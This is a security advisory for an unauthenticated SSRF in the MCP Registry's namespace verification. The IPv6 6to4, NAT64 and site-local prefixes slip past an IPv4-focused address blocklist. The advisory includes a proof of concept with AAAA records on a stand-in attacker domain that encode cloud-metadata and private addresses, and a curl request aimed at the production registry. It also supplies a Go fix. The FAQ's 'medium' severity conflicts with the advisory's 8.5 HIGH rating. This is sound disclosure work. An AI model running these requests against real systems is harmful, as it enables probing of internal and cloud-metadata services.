CVE-2026-44430: MCP Registry: Unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist
### Summary The Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib's `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. **None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`)** — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts. This is the same CWE-918 SSRF class fixed in **GHSA-56c3-vfp2-5qqj** on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4. The endpoint is **unauthenticated** — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency. Affected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`. ### Details #### Vulnerable code `internal/api/handlers/v0/auth/http.go:125-133`: ```go func isBlockedIP(ip net.IP) bool { if ip == nil { return true } return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) } ``` Per Go source (`src/net/ip.go`), the relevant stdlib helpers cover: | Helper | IPv6 coverage | |---|---| | `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) | | `IsPrivate` | ULA `fc00::/7` only — `ip[0]&0xfe == 0xfc` | | `IsLinkLocalUnicast` | `fe80::/10` only — `ip[1]&0xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) | | `IsMulticast` | `ff00::/8` | | `IsUnspecified` | `::` | The Registry's blocklist therefore **does not** cover: | Prefix | Defined in | Why dangerous | |---|---|---| | `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. | | `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network — which is the **default** in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. | | `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. | | `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. | `safeDialContext` resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete. #### Exposure surface `POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`: ```go huma.Register(api, huma.Operation{ OperationID: "exchange-http-token...", Method: http.MethodPost, Path: pathPrefix + "/auth/http", Summary: "Exchange HTTP signature for Registry JWT", ... }, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) { response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...) ... }) ``` The handler builds `https://<attacker-domain>/.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body. Critical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`): 1. `ValidateDomainAndTimestamp(domain, timestamp)` — domain format check (no IP literal, must contain dot) 2. `DecodeAndValidateSignature(signedTimestamp)` — hex decode 3. **`keyFetcher(ctx, domain)`** ← SSRF dial happens here 4. `VerifySignatureWithKeys(...)` ← only AFTER fetch So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for `signedTimestamp`. ### PoC Tested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`). #### Step 1 — Set up attacker DNS Configure `attacker.example` with the AAAA records: ``` attacker-6to4.example. AAAA 2002:a9fe:a9fe:: ; 6to4 -> 169.254.169.254 attacker-nat64.example. AAAA 64:ff9b::a9fe:a9fe ; NAT64 -> 169.254.169.254 attacker-rfc1918.example. AAAA 64:ff9b::a00:0001 ; NAT64 -> 10.0.0.1 ``` (Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.) #### Step 2 — Trigger the dial (no credentials required) ```bash curl -i https://registry.modelcontextprotocol.io/v0/auth/http \ -H 'Content-Type: application/json' \ -d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}" ``` Timestamp need only be within ±15s of server clock. `signedTimestamp` is any hex string — it is decoded but only verified AFTER `FetchKey` has already dialled. #### Step 3 — Observe On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate. For hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability. #### Expected behaviour after fix `isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation: ```go func isBlockedIPv6Prefix(ip net.IP) bool { v6 := ip.To16() if v6 == nil || ip.To4() != nil { return false } // 6to4 (2002::/16) if v6[0] == 0x20 && v6[1] == 0x02 { return true } // NAT64 well-known 64:ff9b::/96 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 { return true } // NAT64 RFC 8215 local-use 64:ff9b:1::/48 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0x00 && v6[5] == 0x01 { return true } // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks) if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 { return true } return false } ``` Then extend the call site: ```go return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) || isBlockedIPv6Prefix(ip) ``` A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the "private/loopback" error before any dial. ### Impact CWE: **CWE-918** Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj). CVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ~= **8.5 HIGH**). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the **default** on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself). For the official `https://registry.modelcontextprotocol.io` deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (`MaxKeyResponseSize`) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential). Self-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed. ### Why this slipped past PR #1227 The April 29 hardening batch (commit `1201cbd`, "security: fix open redirect and add small hardening") explicitly added `safeDialContext` to block "loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that *embed* IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in `git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go` reference 6to4 / NAT64 / site-local. ### Credit Reported by **Matteo Panzeri** (GitHub: **matte1782**).
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44430?
CVE-2026-44430 is considered a medium severity vulnerability.
How do I fix CVE-2026-44430?
To fix CVE-2026-44430, upgrade to version 1.7.7 of the affected package.
What software is affected by CVE-2026-44430?
CVE-2026-44430 affects the 'github.com/modelcontextprotocol/registry' package.
What impact does CVE-2026-44430 have on the system?
CVE-2026-44430 may allow unauthorized access to internal addresses, leading to potential information exposure.
Is there a patch available for CVE-2026-44430?
Yes, a patch is available in version 1.7.7 of the affected software.